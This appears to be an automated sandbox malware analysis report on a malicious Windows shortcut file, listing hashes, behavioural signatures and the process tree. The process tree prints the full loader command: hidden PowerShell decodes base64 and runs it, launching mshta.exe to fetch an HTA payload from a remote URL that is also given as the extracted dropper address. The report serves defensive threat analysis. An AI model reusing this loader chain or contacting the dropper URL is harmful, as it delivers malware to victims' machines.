Analysis
- max time kernel
298s - max time network
291s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
24/04/2026, 02:14
Static task
static1
Behavioral task
behavioral1
Sample
Doc_02cec1f0-fd22-41c1-9ea1-ce378e010a5b.lnk
Resource
win10v2004-20260130-en
7 signatures
300 seconds
Behavioral task
behavioral2
Sample
Doc_02cec1f0-fd22-41c1-9ea1-ce378e010a5b.lnk
Resource
win11-20260130-en
6 signatures
300 seconds
General
- Target Doc_02cec1f0-fd22-41c1-9ea1-ce378e010a5b.lnk
- Size 2KB
- Sample260424-cpffyscx2t
- SHA256 6dde62d2b11b1ca2a331881eafa66c3aea32747c40a588c160fb55b5607b8a56
- MD5 c45ffe0776bd67bf90823bc7f214ef0e
- SHA1 ff291691dd2e22124b1dcaa884a3988d987ec6d8
- SHA512 0a153df6e9210152447c087286efdc391e266c3884f87794102708bf533c3e7bff2c5df319cfae6e1483e3ad31486a6653fb78820884451e7aa45d4d2b1019fd
- TLSH T1B45190202BFD1218F6F3EB36ACFB77018E77B865A9154D4E008142490861A00ED95F3F
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://243.180.62.50.host.secureserver.net/02cec1f0-fd22-41c1-9ea1-ce378e010a5b/e25af26d-4f0b-4e98-92ec-dd467ea173b7
Signatures
- Badlisted process makes network request 10 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 4464 mshta.exe 3 4464 mshta.exe 4 4464 mshta.exe 5 4464 mshta.exe 6 4464 mshta.exe 7 4464 mshta.exe 8 4464 mshta.exe 9 4464 mshta.exe 10 4464 mshta.exe 11 4464 mshta.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2100 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2100 powershell.exe 2100 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2100 powershell.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2012 wrote to memory of 2100 2012 cmd.exe 81 PID 2100 wrote to memory of 4464 2100 powershell.exe 82
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Doc_02cec1f0-fd22-41c1-9ea1-ce378e010a5b.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:2012 -
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command " $b = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aVRYd2JWSm5LdnxDOlxXaW5kb3dzXFN5c3RlbTMyXG1zaHRhLmV4ZSAiaHR0cHM6Ly8yNDMuMTgwLjYyLjUwLmhvc3Quc2VjdXJlc2VydmVyLm5ldC8wMmNlYzFmMC1mZDIyLTQxYzEtOWVhMS1jZTM3OGUwMTBhNWIvZTI1YWYyNmQtNGYwYi00ZTk4LTkyZWMtZGQ0NjdlYTE3M2I3Ig=='));$a = $b -split '\|',2 | Select-Object -Last 1;Invoke-Expression $a"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2100 -
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" https://243.180.62.50.host.secureserver.net/02cec1f0-fd22-41c1-9ea1-ce378e010a5b/e25af26d-4f0b-4e98-92ec-dd467ea173b73⤵
- Badlisted process makes network request
PID:4464
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ge503m1g.jky.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH